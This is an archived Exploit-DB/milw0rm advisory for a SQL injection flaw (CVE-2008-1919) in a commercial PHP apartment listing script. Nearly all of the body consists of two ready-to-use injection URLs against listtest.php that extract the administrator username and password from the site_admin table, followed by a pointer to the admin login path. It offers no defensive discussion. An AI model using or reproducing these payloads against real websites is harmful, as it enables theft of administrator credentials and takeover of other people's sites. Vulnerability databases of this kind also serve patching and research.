Apartment Search Script listtest.php r SQL Injection Vulnerability

2008-04-19T00:00:00
ID EDB-ID:5471
Type exploitdb
Reporter Crackers_Child
Modified 2008-04-19T00:00:00

Description

Apartment Search Script (listtest.php r) SQL Injection Vulnerability. CVE-2008-1919. Webapps exploit for php platform

                                        
                                            $ Script        : Apartment Search Script SQL Injection Vulnerability

$ Script Info   : http://www.yourfreeworld.com/script/apartment.asp

$ Script Price  : Only $79

$ Demo          : http://www.downlinegoldmine.com/apartment/

$ Author        : Crackers_Child

$ Contact       : cashr00t@hotmail.com

$ Note          : Erbabi ile vurulduysak sirtimizdan neyleyelim.Bir Yarali Kurt Misali

$ Note          : Her Yanimiz it Tuzagi . . .

$ Username Exp  : www.x.com/script_path/listtest.php?r=-1/**/union/**/select/**/1,admin%20from%20site_admin/*

$ Password Exp  : www.x.com/script_path/listtest.php?r=-1/**/union/**/select/**/1,password%20from%20site_admin/*

$ Admin Login   : /Site_Admin/ 

$ Greetz        : Milw0rm.Com & All Peace Warriors

# milw0rm.com [2008-04-19]